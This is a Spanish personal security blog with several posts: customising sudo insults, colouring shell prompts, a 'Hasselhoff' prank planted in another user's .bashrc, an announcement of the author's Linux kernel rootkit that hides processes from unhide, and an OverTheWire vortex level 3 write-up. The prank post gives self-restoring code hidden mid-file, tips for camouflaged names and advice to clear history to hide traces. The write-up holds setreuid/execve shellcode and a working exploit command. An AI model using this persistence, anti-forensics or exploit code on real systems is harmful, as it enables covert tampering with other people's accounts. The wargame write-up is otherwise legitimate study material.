jueves, 7 de noviembre de 2013

Los insultos de sudo... y nuestros insultos

El otro día me aburría y decidí tomarme una cerveza y leer el manual de sudoers (el fichero de configuración de sudo), lo típico que haría cualquiera para desaprovechar bien el tiempo.

Al grano, resulta que una de las opciones es la siguiente:

insults         If set, sudo will insult users when they enter an incorrect password.  This flag is off by default.

Para activarla y ver su comportamiento añadimos la siguiente línea a /etc/sudoers:

Defaults    insults

Ahora cuando algún usuario introduzca mal la contraseña, sudo amablemente le insultará :).

$ sudo echo "no me se la contraseña"
Password:
Wrong!  You cheating scum!
Password:
And you call yourself a Rocket Scientist!
Password:
No soap, honkie-lips.
sudo: 3 incorrect password attempts

Bueno, esto está bien y tal, tiene su cierto toque de gracia, pero más divertido es que si somos el administrador de la máquina (o más de una) cambiemos los insultos y le pongamos algunos personalizados, bien sea en español en nuestro caso o más divertido aún, que tengan que ver con el ámbito (la empresa, la uni, la casa o lo que sea). Este ha sido el proceso que he seguido yo para conseguirlo (uso ubuntu 12.04).
  1. Me bajé el código fuente de sudo (estas son las tonterías que hace que sea un ferviente defensor del software libre, entre otras).
    • $ apt-get source sudo
  2. Extraemos el paquete.
    • $ tar xvzf sudo_1.8.3p1-1ubuntu3.4.debian.tar.gz
  3. Después tenemos que empezar a buscar dónde anda toda la parte de los insultos. Sorprendentemente sudo no busca los insultos en algún fichero, sino que los tiene directamente hardcodeados dentro del binario... no sé por qué. Acabaremos encontrando que los insultos están en el directorio plugins/sudoers, que el fichero insults.h es el que controla cuáles insultos se incluyen y cuáles no, y que los distintos tipos de insultos están en los ficheros ins_*.
  4. A partir de aquí modificamos el fuente de la manera que más nos guste para añadirle nuestros insultos, recompilamos e instalamos, lo típico.
Veámos un pequeño ejemplo. Para empezar creo un nuevo fichero con la estructura adecuada con mis insultos.

$ vim my_own_insults.h

  1 #ifndef _MY_OWN_INSULTS_H
  2 #define _MY_OWN_INSULTS_H
  3
  4     "MAAAAAAAAAAAAAAAAAAAAL!",
  5     "Paquete",
  6     "Intentando fuerza bruta? JA!",
  7     "Ponte a estudiar",
  8     "Menos de 100m en el d3? Pobre",
  9     "Yarr mola",
 10
 11 #endif


Ahora modificamos insults.h para incluir nuestros insultos (muestro sólo las líneas relevantes con lo que yo hice en negrita).

 21 #if defined(HAL_INSULTS) || defined(GOONS_INSULTS) || defined(CLASSIC_INSULTS) || defined(CSOPS_INSULTS) || defined (MY_OWN_INSULTS)
...
 29 #ifdef MY_OWN_INSULTS
 30 #   include "my_own_insults.h"
 31 #else

 32
 33 #   ifdef HAL_INSULTS
 34 #       include "ins_2001.h"
 35 #   endif
 36
 37 #   ifdef GOONS_INSULTS
 38 #       include "ins_goons.h"
 39 #   endif
 40
 41 #   ifdef CLASSIC_INSULTS
 42 #       include "ins_classic.h"
 43 #   endif
 44
 45 #   ifdef CSOPS_INSULTS
 46 #       include "ins_csops.h"
 47 #   endif
 48 #endif


Lo he puesto para que si estan mis insultos no esté ninguno más. Ahora continuamos con los típicos pasos de configuración, compilación e instalación. En el directorio donde se encuentra el script de configure:

$ ./configure --with-insults

No estoy seguro de si hace falta ponerle el --with-insults o ya viene por defecto, pero para el caso da lo mismo. Antes de compilar modificamos el makefile de plugins/sudoers/ para que al compilar se defina la macro MY_OWN_INSULTS, de la que dependen nuestros insultos, si no lo hacemos nos quedaremos con un palmo de narices jeje:

$ vim plugins/sudoers/Makefile
...
 56 CFLAGS = -g -O2 -DMY_OWN_INSULTS
...

Y ahora ya el proceso normal:

$ make && make install
$ sudo echo "hola"
Password:

Yarr mola

Fácil, rápido y para toda la familia. Ahora replicamos el sudo de esta máquina por el resto de máquinas que administremos y nos echamos unas risas :D.

Saludos.

jueves, 12 de septiembre de 2013

Color del prompt para no cagarla

Esta entrada no va de seguridad directamente, sino de buenas prácticas para administradores de sistemas. Esto es algo que aprendí hace algunos años y que me pareció un truco fantástico así que aprovecho y se los cuento.

Un problema que he visto que se da bastante cuando uno maneja varios sistemas desde consola es que en un momento dado, entre todo el trapeteo que esté haciendo, acaba perdiéndose y no sabe en que sistema está en un momento dado. El escenario típico es, por ejemplo, tener la consola (o varias!) de la máquina que tienes delante, una máquina virtual con otra consola y la pantalla maximizada y quizás para hacerlo todo más guay alguna sesión de SSH a alguna máquina remota. No te cuento ya cuando además desde esa sesión de SSH tienes más sesiones a otras máquinas de una red interna, etc. Esto se puede liar todo lo que quieran.

Para intentar tener una pista rápida de en qué sistema me encuentro en un momento dado, yo lo que hago es a cada máquina ponerle su prompt de un color diferente. Así por ejemplo en mi máquina del día a día lo tengo de color gris, en una máquina servidor importante amarillo, en una virtual verde, etc. De esa forma después de pulsar alt + tab y antes de escribir algún comando loco (rm -rf) identifico rápidamente en dónde me encuentro.

No me voy ni a molestar en poner algún enlace a alguna página que muestre como hacerlo, "set <aquí su consola> prompt color" en google y a correr.

Tan sólo comentar un par de cosas más, el sitio ideal para poner estos cambios suele ser el .<nombre consola>rc del home. Y la otra cosa es que esta idea es interesante de aplicar no sólo a prompts en distintas máquinas sino también para distintos usuarios. Yo por ejemplo en las máquinas donde me puedo logear como root, a este usuario en concreto le pongo el prompt en rojo para indicar peligro xD... sííííív, ya sééééé, vaya mierda de sysadmin que soy que me logueo como root, para algo está sudo y sudoers... Son mis sistemas y me los follo como quiero!

Saludos.

miércoles, 29 de mayo de 2013

Hasselhoff en consola

Muchos en España conocen lo que es el ataque David Hasselhoff. Traigo aquí una versión un poco más linuxera... y nada de Gnome, KDE, Xfce, Enlightenment o sucedaneos. Esta será una versión de consola.

Lo primero es conseguir la imagen, y dado que estamos en consola, transformarla a ascii art usando alguna de las páginas webs que hacen esto. Hail a las personas que hacen programas de este estilo! xD. Con esto ya tenemos nuestro santo grial...

............................................................,......:I+~=.:=,....
..........,......................................................INDDNNNDNOZ,...
..................................,,............................8DDNDNNNNNNNZO:.
.............................................................,:DDDNDDDDDNNNNNNN.
............................................................,?ONNNNNNDDNNNNNNNNZ
...........................................................:=?8NNNNDDNNDNNNNNNN8
........................................................~~=~?ODD88D8D8ZDDNNNNNNN
....................................................,=+===I$OZD8DOI7$II$8DNNNNNN
...................................,.............,+++++=$$7?~IOO+=~~~=?I7$NN8ODD
..............................................,?=++==?$Z$......=I??7Z7DZII88Z$NN
............,.................=???I+,.......:++====+I$?.........?II?++==?7$$7ZNN
............,................?+?++?I$,...,,++==~=++$8..........~++??I=++I7$$$$88
............................I==~~=?I7Z:..+++===+?7O8OZ$III77I777$??+OI??II7ZZ$$.
...........................+?+~+++?I7$ZI?++++++I$OD7++?I777IIIIIIII++IOII7ZOZ$$$
...........................??++++??II$$Z8?+??I7O87?===++?II77777777II7II7$OOZZ$$
..........................~I???I+??II7$$Z8?I????I+=+=+??I77$Z7I7$ZZI?+I$OOOZ$7I7
....................:~~,..?III?ZI?I777$$$Z8~IZOOZ$$$ZZO$7ZO8D$7$$ZZOIZ$O8OZ7I?II
.................,:?==++IZ$7IIIZ7I7$$$$$$ZOO.......,=Z8Z?Z88D$$$$ZZOI$IZOZ$I??II
...........,,...,I?====++?$ZZII$DZ$7$$ZZZZZOZ,....~7O$O7$78ZND$$$$ZOOZ$Z$$77I777
..............,??+~==~+?++?7$8ZZDDOZ$ZZZZOOZO8~IZOZZ888Z8DO8DN$Z$$Z8ZZ$77I?77$$7
.............,?I??==++====+?I7Z8DND8ZZZZZOOOOOZ8$7OZ7ZZ8Z88DNNNZZZ8OZ$7$$$$77II?
.....,......,?7I????++=+==+??I77$DD8OZOOO888OZZZ$O7I8+I$DDDNMN8$D8OZZ$$$7III?+=~
...........,?II++?II7?I?+=+++??I77Z8ZZOZ8OZZZ7$77ZZ?$7IID8NNNZOZN8OZ$77II??I????
..........:II?+??IIIIIII?++++++??I7$O88Z8Z7Z7$$Z$?O$II$ZOZ7$8ZZNDOZ$77I???????I?
.........+??++????I78?III??++?++???I7$O$$III7$?O$$I$I+?$7I$Z8NN8OZ$$III??I???III
........II?++??IIII7ZZ$III?++++?+++??I7ZZII??$ZI$$I8I87Z$O8NND8OOZ$$$I???I???III
......,?????????II7$Z.,$7III?++?+??+??I7$O$$I7=I$I8$OOZNDOOOOZOO$$$$IIIIIIII7777
.....~??????+???I77Z,.IZ777III??????+??II7Z$$7$$7Z78OO8ZOZ$$ZOZ88ZZ$$7777$$ZZO77
....~???+??IIII7I7Z:..Z7II7II7II+???????II7$7$OZOONZODD8$$$$$$$$ZOZ$$777$ZZZON7I
...+???I????I7I77$,..,$7I7O7777II????????II77OOZ$OD8N8OO$7I777IIII77IIIIII7$ZOD$
..????????III7$?.....$7II$O877I777III?I?IIIII7ZDZZIZZZ7ZOZ77I7IIIII?I77777$$ZO8+
:??+?????II77+,.....,7I?IZO?.77II77II?IIIIIIII$Z887ZOOZZNO77I??????I77777$$ZO?..
??????IIII7~........7II?ZZO...+777777IIIIIIII77$ZOD8O$$Z$$777777III777$$ZOO+....
+?++?III7,.........??+?7$ZZ....,77I77777II77777$O$8D8ZO8D877$7777$$ZZOOO8?.....,
??+?II7:.........,???I7$Z$7....,,$777777777777$OI7OOI$7ODD8OZZZZZZOO8DD8....,,,,
?I7II...........??+II777I7?,,,,,,,I777777777$$7IOD8D8DDO788O8ODDDDD$8ZI77Z88~,::
77~......,,,,,~I?I777II???+::::::,:,7I7777$$$$Z$DDD8ZZZ77Z$O8IZ88$87$I7?IOZNZD~+
7,...,,,::=?I???I777I?IIII::::,,.,,,,I77777$$ZZ8NNDDDO8$Z??II77$ZO7$Z7ZOOOOOOZOZ
I:~::,,,:==?I??II~~~~:::::,....,.,,,,,:7I77$7$ZZNNNNDN8OI??III7II7$77$7$$$$$$$$$
+.......,?==??7?,,,,,.,.......,...,,,,,,,:88D88DZ8D8O$78DNI?I?III7I?II$$7$$$7$$$
......,...,,,..,,,,...,............,,,,,,ID8OOO88888OZO$$O?8??I777?II$ZZZOZZZOOO
.......,..............,...,...,,....,,,,...,,O8OI~:,,,,,,.::7OZZI+:...,.........
.........................,..........,.,,........................................ 


Desde luego podría ser mejor, pero lo importante es que el pwneado reconozca lo que esto significa xD.

Ahora lo suyo es metérsela en algún lado (la imagen digo). Vamos a aprovechar la característica del .bashrc de que se lee y ejecuta al iniciar una sesión. Lo que haremos será guardar la imagen en algún archivo y ponerle un cat en el .bashrc, suponiendo que el archivo se lo dejamos en $HOME/.dh:

cat ~/.dh

Así cuando se inicie sesión la próxima vez comenzará la ultrajación xD.

Evidentemente ésto se descubre muy fácil y se remedia aún más fácil, eliminando el archivo y/o quitando el cat del .bashrc. Vamos a meterle una vuelta de tuerca (sólo una) para tocar un poco más los cojones. En concreto vamos a hacer que, si borran el fichero .dh se vuelva a crear y si quitan el comando del .bashrc se vuelva a meter. No va a ser ningún hackeo complicado ni nada por el estilo, la idea es dar un poco más por culo.

Para evitar el borrado del archivo lo que podemos hacer es una copia de seguridad del fichero en algún sitio más oculto y con un nombre menos evidente, por ejemplo dentro de alguna de las carpetas ocultas tipo .ssh/ opor el estilo. Luego en el propio .bashrc en medio del código que hay ahí, no al final del archivo ponemos algo como:

if [[ ! -e ~/.dh ]]; then
    cp .ssh/authorize_keys ~/.dh 2>/dev/null 1>/dev/null
fi


Es importante el hecho de meter este código en medio del .bashrc para que pase inadvertido a simple vista, y por ello y lo siguiente también es importante que el cat que pusimos antes esté al final en plan evidente jejeje.

Esto es una salvaguarda para si la persona pwneada decide borrar el fichero .dh, pero lo más normal es que lo que borre sea el cat que habremos metido al final del .bashrc, más que nada porque si no lo hace, cada vez que se loguée va a aparecerle un error de fichero no encontrado. Lo que haremos será meter otro poco de código en medio del .bashrc para detectar si han borrado el cat y en tal caso meterlo nuevamente xD. Algo como esto:

CMD1="cat"
CMD2="~/.dh"
CMD="$CMD1 $CMD2"
egrep "$CMD" ~/.bashrc 2>/dev/null 1>/dev/null
if [[ $? -eq 1 ]]; then
    echo "$CMD" > ficheroconnombrequenocolisiona1

    cat ~/.bashrc ficheroconnombrequenocolisiona1 > ficheroconnombrequenocolisiona2
    mv ficheroconnombrequenocolisiona2 ~/.bashrc
    rm -f ficheroconnombrequenocolisiona1
fi

Con esto lo que conseguimos es que al iniciar sesión se compruebe si dentro del .bashrc está el "cat ~/.dh" y si no está pues se lo pone. En este inicio de sesión no se imprimirá el hasselhoff, eso ocurrirá la siguiente vez. Me pareció interesante hacerlo así para que la persona que lo esté sufriendo no lo note inmediamente si no se suele loguear demasiado en ese sistema y de esta forma piense que hemos vuelto a entrar y hacerle lo mismo, de hecho verá el cat de nuevo al final del .bashrc jejeje.

Un par de cosas a tener en cuenta:
  • Aquí he puesto líneas un poco largas, es mejor que los nombres de los ficheros intermedios sean mas cortos y menos evidentes para que se confunda más con el entorno (camouflage programming :P).
  • La redirección de las salidas (estándar y de errores) del egrep para que no aparezca en pantalla nada si encuentra algo.
  • Vemos que juego con un par de variables CMD1 y CMD2, es necesario "partir" el comando ya que si lo ponemos tal cual (egrep "cat ~/.dh" ~/.bashrc) aunque el pwneado borre el cat que ponemos al final, el egrep siempre va a encontrar este patrón... en su propia línea ;).
  • Una vez preparado todo esto sería interesante borrar el historial o posibles pistas que hayamos podido dejar y que puedan hacer más fácil que encuentre todo esto.
Y con esto y un bizcocho ya tenemos el hasselhoff de consola xD.

Saludos.

jueves, 25 de abril de 2013

Primeros pasos de yarr

Bueno, como algunos saben llevo algún tiempo programando un rootkit para Linux (el kernel) al que he llamado yarr, siglas de Yet Another Repetitive Rootkit, pero que creo que voy a cambiar por Yet Another Random Rootkit. Pero bueno, eso no viene al caso, lo que quería comentar es que ya casi tengo una primera aproximación de rootkit medianamente útil :). Por ahora oculta procesos y ficheros, lo típico. Aún me queda pulirlo un poco, resolver algunos problemillas, volver a pulirlo, organizarlo todo un poco, pulir guanmortaim y, por qué no, sacar la primera versión.

Pero voy a mostrar un poco de su efectividad. La siguiente prueba se ha hecho con un sistema Ubuntu 12.04 con un kernel 3.2.0-29-generic-pae y la última versión de unhide a día de hoy.

Lo primero lo cargamos como cualquier módulo.


Con un pequeño programita que cree para la prueba creamos un proceso que se intenta ocultar a sí mismo.


Aunque aquí no voy a poner nada del código (ni de yarr ni del programa éste), todo está publicado y lo puedes consultar, mirar, entender, copiar, modificar, mejorar... y aportar :P.

Como vemos se ha creado el proceso con PID 3033. Ahora lanzamos unhide de distintas formas.






Y bueno, vemos que ninguna de las técnicas detecta el proceso 3033 :D.

El proyecto lo tengo en mi github, así que lo puedes coger y estudiarlo/mejorarlo. Cualquier ayuda, tanto ideas, correcciones o lo que sea es bien recibido.

Saludos.

jueves, 7 de marzo de 2013

Solución al reto overthewire vortex level 3

Tengo que reconocer que este nivel me ha costado bastante más y que he tenido que investigar cómo funcionan ciertas cosas :D. Como de costumbre, esto va a ser un post largo con explicaciones muy detalladas de todo (más o menos, las cosas inútiles no) lo que tuve que hacer.

Empezamos como siempre, con el enunciado:

A Stack Overflow with a Difference
This level is pretty straight forward. Just sit down and understand what the code is doing. Your shellcode will require a setuid(LEVEL4_UID) since bash drops effective privileges. You could alternatively write a quick setuid(geteuid()) wrapper around bash.
NOTE:
ctors/dtors might no longer be writable, although this level is compiled with -Wl,-z,norelro. Lookup some information about this e.g. here
NOTE: This level is solvable, but it is tricky. If all else fails, use an intelligent bruteforce and then circle back to find out why it worked.
Reading Material
Smashing the Stack for Fun and Profit
Bypassing StackGuard and StackShield
Code listing (vortex3.c)
/*
 * 0xbadc0ded.org Challenge #02 (2003-07-08)
 *
 * Joel Eriksson <je@0xbadc0ded.org>
 */


#include <string.h>
#include <stdlib.h>
#include <stdio.h>

unsigned long val = 31337;
unsigned long *lp = &val;

int main(int argc, char **argv)
{
        unsigned long **lpp = &lp, *tmp;
        char buf[128];

        if (argc != 2)
                exit(1);

        strcpy(buf, argv[1]);

        if (((unsigned long) lpp & 0xffff0000) != 0x08040000)
                exit(2);

        tmp = *lpp;
        **lpp = (unsigned long) &buf;
        *lpp = tmp;

        exit(0);
}
Vamos a empezar programándonos la shellcode. Quizás se pueda buscar alguna por internet para esto pero prefiero hacerlas yo, además no es muy complicado. Lo cierto es que no empecé el nivel así (programando), pero dado que esta tarea es totalmente paralela al análisis, lo dejamos hecho ya y luego explicamos todo lo otro que es bastante más gordo y prefiero que esté seguido.

Bueno, como explica el enunciado la shellcode deberá llamar a setreuid() para ejecutarse con permisos de level4 ya que bash dropea los permisos que le otorga el SUID. Esto no es del todo cierto, por defecto efectivamente bash dropea esos permisos, pero se puede evitar ese comportamiento pasándole el argumento "-p" (o recompilando bash y buscando una variable global que no recuerdo el nombre ahora mismo, pero que egrepeando por "privilege" se encuentra fácil, se cambia de 0 a 1 y ese bash no dropeará privilegios xD). El argumento "-p" hace más cosas, man bash ;).

En cualquier caso vamos a hacer caso al enunciado y vamos a hacer llamada a setresuid() en nuestra shellcode, ahí va:

use32
  
    jmp trick

shellcode:
    pop esi
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    xor edx, edx

    ; setreuid()
    ;
    ; 0x138c = 5004 es el UID del usuario vortex4
    mov cx, 0x138c
    mov bx, 0x138c
    mov al, 0x46
    int 0x80

    ; execve("/bin/bash")
    xor eax, eax
    mov [esi + 9], al
    mov [esi + 10], esi
    mov [esi + 14], eax
    mov ebx, esi
    mov ecx, esi
    add cl, 10
    xor esi, esi
    mov al, 0xb
    int 0x80

trick:
    call shellcode

db "/bin/bashABBBBCCCC"


No tiene mucho misterio, creo que uso todos los truquillos que expliqué en la entrada de programación de shellcodes. Truco del jmp-call-pop, no produce bytes nulos, no llama a bibliotecas, en la string final los bytes nulos no están hardcodeados sino que el código se encarga de ponerlos (en 'A'). Lo único medianamente novedoso es la llamada a setreuid() pero es muy sencilla. Realmente no se llama a setreuid() para ser concretos, sino a sys_setreuid, la llamada al sistema que en el fondo implementa todo esto. El número es el 70 = 0x46. Se compila con nasm.

Bueno, con eso ya tenemos preparada la shellcode para cuando vayamos a explotar el programa. Ahora pasemos a lo gordo, el análisis.

Mirando el fuente vemos que tiene un buffer estático de 128 bytes y un strcpy() sobre el mismo, así que ahí tenemos el bof. Analizando el código ensamblador podemos confirmar que justo detrás de buf se encuentran las variables tmp y lpp, en ese orden. Cuando sobrescribamos primero pisaremos tmp y después lpp. Luego podemos ver que se comprueba que lpp tenga en sus dos bytes más significativos el valor 0x0804 (típico de las direcciones de secciones .text, .rodata, .data, etc...) y si no es el caso termina la ejecución. Justo después viene la parte interesante, un tejemaneje con punteros que tendremos que entender qué hace.

Básicamente tmp está actuando como variable auxiliar del contenido de *lpp, su valor se guarda en tmp y luego se recupera. El código más interesante es la línea del medio:

**lpp = (unsigned int)&buf

Se pone la dirección de buf (donde, si aún no lo has pensado, pondremos nuestra shellcode) en la doble indirección de lpp, una imagen vale más que mil palabras.

Un poco lío con las flechas pero creo que ayuda a clarificar.

La idea entonces es aprovechar el bof para sobreescribir lpp (tmp da igual... realmente no, ya veremos más adelante por qué) de forma que apunte a un sitio que a su vez apunte a otro sitio que sepamos que en algún momento ese valor será usado para saltar a código allí apuntado. Lo siento por el lío :(.

Yendo al grano, esto está pensado en un primer momento para aprovecharse de la sección .dtors. Explico a mi manera qué es esto. Dtors es un acrónimo de DestrucTORS, en los ELF suele haber una sección reservada para dar soporte a lenguajes con constructores y destructores globales (también hay una sección .ctors). Básicamente es una lista con punteros a funciones que serán ejecutadas justo antes de terminar el programa, bien sea porque main() hace return o porque en algún punto de la ejecución se llama a exit() o funciones de esa familia. Veamosla en el binario vortex3.

$ readelf --sections vortex3
There are 29 section headers, starting at offset 0x784:

Section Headers:
  ... SNIP ...
  [13] .text             PROGBITS        08048320 000320 0001ec 00  AX  0   0 16
  [14] .fini             PROGBITS        0804850c 00050c 00001c 00  AX  0   0  4
  [15] .rodata           PROGBITS        08048528 000528 000008 00   A  0   0  4
  [16] .eh_frame         PROGBITS        08048530 000530 000004 00   A  0   0  4
  [17] .ctors            PROGBITS        08049534 000534 000008 00  WA  0   0  4
  [18] .dtors            PROGBITS        0804953c 00053c 000008 00  WA  0   0  4

  [19] .jcr              PROGBITS        08049544 000544 000004 00  WA  0   0  4
  [20] .dynamic          DYNAMIC         08049548 000548 0000c8 08  WA  6   0  4
  [21] .got              PROGBITS        08049610 000610 000004 04  WA  0   0  4
  [22] .got.plt          PROGBITS        08049614 000614 00001c 04  WA  0   0  4
  ... SNIP ...


El formato de esta lista es el siguiente, comienza con el valor 0xffffffff y acaba con nulo (0x00000000), veámosla.

$ objdump -j .dtors -s vortex3

vortex3:     file format elf32-i386

Contents of section .dtors:
 804953c ffffffff 00000000                    ........


En este caso está vacía. Observemos un detalle interesante de esta sección, ¡tiene permisos de escritura (WA)!. Sí sí, suena fuerte y tal pero es así. En el enunciado se nos avisa de que puede que ya no se pueda escribir en esta zona, a pesar de que se ha compilado el binario con bla bla bla. Lo cierto es que sí se puede, no sé por qué han puesto eso, sin embargo sí que hay una protección pero que no viene dada por los permisos. En un momento veremos qué pasa. Por el momento hagamos como que no sabemos nada, así explico las vicisitudes por las que pasé.

Entonces lo que vamos a intentar es escribir en la sección .dtors la dirección de nuestro buffer (que contendrá la shellcode), de forma que cuando el programa termine, la ejecute. Para ello necesitamos escribir en la dirección 0x08049540 (la primera posición en la lista de dtors) la dirección de buf. Y para lograr esto nos hace falta que lpp contenga una dirección cuyo contenido sea precisamente ese valor (doble indirección), además esa dirección no puede ser cualquiera debe estar en 0x0804XXXX. Figura "aclaratoria":


Sobrescribir lpp es sencillo, simplemente tenemos que aprovechar el bof. Ahora bien, ¿cómo podemos hacer que apunte a algo que contenga el valor 0x08049540?, ¿dónde podríamos poner ese valor y luego hacer que lpp apuntara a allí?. Es más sencillo de lo que parece, buscamos el valor por la memoria del proceso y vemos si está por algún lado (no nos importa por qué llegó allí, tan sólo que esté :D).

$ readelf --sections vortex3
There are 29 section headers, starting at offset 0x784:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048114 000114 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048128 000128 000020 00   A  0   0  4
  [ 3] .note.gnu.build-i NOTE            08048148 000148 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        0804816c 00016c 000020 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          0804818c 00018c 000060 10   A  6   1  4
  [ 6] .dynstr           STRTAB          080481ec 0001ec 000051 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          0804823e 00023e 00000c 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         0804824c 00024c 000020 00   A  6   1  4
  [ 9] .rel.dyn          REL             0804826c 00026c 000008 08   A  5   0  4
  [10] .rel.plt          REL             08048274 000274 000020 08   A  5  12  4
  [11] .init             PROGBITS        08048294 000294 000030 00  AX  0   0  4
  [12] .plt              PROGBITS        080482c4 0002c4 000050 04  AX  0   0  4
  [13] .text             PROGBITS        08048320 000320 0001ec 00  AX  0   0 16
  [14] .fini             PROGBITS        0804850c 00050c 00001c 00  AX  0   0  4
  [15] .rodata           PROGBITS        08048528 000528 000008 00   A  0   0  4
  [16] .eh_frame         PROGBITS        08048530 000530 000004 00   A  0   0  4
  [17] .ctors            PROGBITS        08049534 000534 000008 00  WA  0   0  4
  [18] .dtors            PROGBITS        0804953c 00053c 000008 00  WA  0   0  4
  [19] .jcr              PROGBITS        08049544 000544 000004 00  WA  0   0  4
  [20] .dynamic          DYNAMIC         08049548 000548 0000c8 08  WA  6   0  4
  [21] .got              PROGBITS        08049610 000610 000004 04  WA  0   0  4
  [22] .got.plt          PROGBITS        08049614 000614 00001c 04  WA  0   0  4
  [23] .data             PROGBITS        08049630 000630 000010 00  WA  0   0  4
  [24] .bss              NOBITS          08049640 000640 000008 00  WA  0   0  4
  [25] .comment          PROGBITS        00000000 000640 000054 01  MS  0   0  1
  [26] .shstrtab         STRTAB          00000000 000694 0000ee 00      0   0  1
  [27] .symtab           SYMTAB          00000000 000c0c 000430 10     28  44  4
  [28] .strtab           STRTAB          00000000 00103c 000216 00      0   0  1

Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)

$ gdb -q vortex3
Reading symbols from /vortex/vortex3...(no debugging symbols found)...done.
(gdb) br main
Breakpoint 1 at 0x80483d7
(gdb) r
Starting program: /vortex/vortex3

Breakpoint 1, 0x080483d7 in main ()
(gdb) find 0x08048114, 0x08049640, (int)0x08049540
0x8048366 <__do_global_dtors_aux+22>
0x8048fb0
0x8049366

3 patterns found.


He marcado en negrita lo más interesante, las direcciones de dos secciones, la primera y la última que están en posiciones 0x0804XXXX y el comando find de gdb con el que busco entre esas direcciones de memoria alguna posición que contenga el valor que buscamos. Aparece en 3 sitios distintos, así que cualquiera de esas direcciones es a donde debería a puntar lpp. Estoy obviando un detalle, he ejecutado el programa y lo he parado al principio de main() para buscar el valor por su memoria. En este caso nos va a funcionar, pero si por lo que fuera este proceso está muy loco y empieza a cambiar su memoria de manera que lo que ahora contienen esas direcciones luego no fuera lo mismo habría que hacer un análisis más profundo del proceso para buscar un sitio donde nuestro valor esté en el momento en que vayamos a usarlo. Aquí estamos suponiendo que la dirección que vaya a usar para lpp (de las 3 posibles) va a tener siempre el valor que necesitamos (0x08049540)... y suponer no siempre es bueno... más bien nunca es bueno.

Bien, si en .dtors no se pudiera escribir, cuando lo vayamos a intentar lo suyo sería que se lanzara SIGSEGV. Vamos a explotar el bof y escribir a ver que pasa...

$ du -b /tmp/oleshellcode
70    /tmp/oleshellcode

$ gdb -q vortex3
Reading symbols from /vortex/vortex3...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x080483d4 <+0>:    push   %ebp
   0x080483d5 <+1>:    mov    %esp,%ebp
   0x080483d7 <+3>:    and    $0xfffffff0,%esp
   0x080483da <+6>:    sub    $0xa0,%esp
   0x080483e0 <+12>:    movl   $0x804963c,0x9c(%esp)
   0x080483eb <+23>:    cmpl   $0x2,0x8(%ebp)
   0x080483ef <+27>:    je     0x80483fd <main+41>
   0x080483f1 <+29>:    movl   $0x1,(%esp)
   0x080483f8 <+36>:    call   0x8048304 <exit@plt>
   0x080483fd <+41>:    mov    0xc(%ebp),%eax
   0x08048400 <+44>:    add    $0x4,%eax
   0x08048403 <+47>:    mov    (%eax),%eax
   0x08048405 <+49>:    mov    %eax,0x4(%esp)
   0x08048409 <+53>:    lea    0x18(%esp),%eax
   0x0804840d <+57>:    mov    %eax,(%esp)
   0x08048410 <+60>:    call   0x80482f4 <strcpy@plt>
   0x08048415 <+65>:    mov    0x9c(%esp),%eax
   0x0804841c <+72>:    mov    $0x0,%ax
   0x08048420 <+76>:    cmp    $0x8040000,%eax
   0x08048425 <+81>:    je     0x8048433 <main+95>
   0x08048427 <+83>:    movl   $0x2,(%esp)
   0x0804842e <+90>:    call   0x8048304 <exit@plt>
   0x08048433 <+95>:    mov    0x9c(%esp),%eax
   0x0804843a <+102>:    mov    (%eax),%eax
   0x0804843c <+104>:    mov    %eax,0x98(%esp)
   0x08048443 <+111>:    mov    0x9c(%esp),%eax
   0x0804844a <+118>:    mov    (%eax),%eax
   0x0804844c <+120>:    lea    0x18(%esp),%edx
   0x08048450 <+124>:    mov    %edx,(%eax)
   0x08048452 <+126>:    mov    0x9c(%esp),%eax
   0x08048459 <+133>:    mov    0x98(%esp),%edx
   0x08048460 <+140>:    mov    %edx,(%eax)
   0x08048462 <+142>:    movl   $0x0,(%esp)
   0x08048469 <+149>:    call   0x8048304 <exit@plt>
End of assembler dump.
(gdb) br *main+60
Breakpoint 1 at 0x8048410
(gdb) br *main+149
Breakpoint 2 at 0x8048469

(gdb) r "`perl -e 'print "\x90"x(128-70) . \`cat /tmp/oleshellcode\` . "CACA" . "\x66\x83\x04\x08"'`"
Starting program: /vortex/vortex3 "`perl -e 'print "\x90"x(128-70) . \`cat /tmp/oleshellcode\` . "CACA" . "\x66\x83\x04\x08"'`"

Breakpoint 1, 0x08048410 in main ()
(gdb) x/50xw $esp
0xffffd620:    0xffffd638    0xffffd8ab    0xffffd6f0    0xf7fe99a9
0xffffd630:    0xffffd6e0    0x080481ac    0xffffd6d4    0xf7ffda74
0xffffd640:    0x00000000    0xf7fd72e8    0x00000001    0x00000000
0xffffd650:    0x00000001    0xf7ffd918    0x00000000    0x00000000
0xffffd660:    0x00080000    0x000a0000    0x00010000    0xf7fd2ff4
0xffffd670:    0xf7f80b19    0xf7ea2ab5    0xffffd688    0xf7e89c65
0xffffd680:    0x00000000    0x08049614    0xffffd698    0x080482c0
0xffffd690:    0xf7fd2ff4    0x08049614    0xffffd6c8    0x08048489
0xffffd6a0:    0xf7ea2c3d    0xf7fd3324    0xf7fd2ff4    0xffffd6c8
0xffffd6b0:    0xf7ea2cb5    0xf7feed80    0x0804847b    0x0804963c
0xffffd6c0:    0x08048470    0x00000000    0xffffd748    0xf7e89e37
0xffffd6d0:    0x00000002    0xffffd774    0xffffd780    0xf7fdf420
0xffffd6e0:    0xffffffff    0xf7ffcff4
(gdb) nexti
0x08048415 in main ()
(gdb) x/50xw $esp
0xffffd620:    0xffffd638    0xffffd8ab    0xffffd6f0    0xf7fe99a9
0xffffd630:    0xffffd6e0    0x080481ac    0x90909090    0x90909090
0xffffd640:    0x90909090    0x90909090    0x90909090    0x90909090
0xffffd650:    0x90909090    0x90909090    0x90909090    0x90909090
0xffffd660:    0x90909090    0x90909090    0x90909090    0x90909090
0xffffd670:    0x2deb9090    0x31c0315e    0x31c931db    0x8cb966d2
0xffffd680:    0x8cbb6613    0xcd46b013    0x88c03180    0x76890946
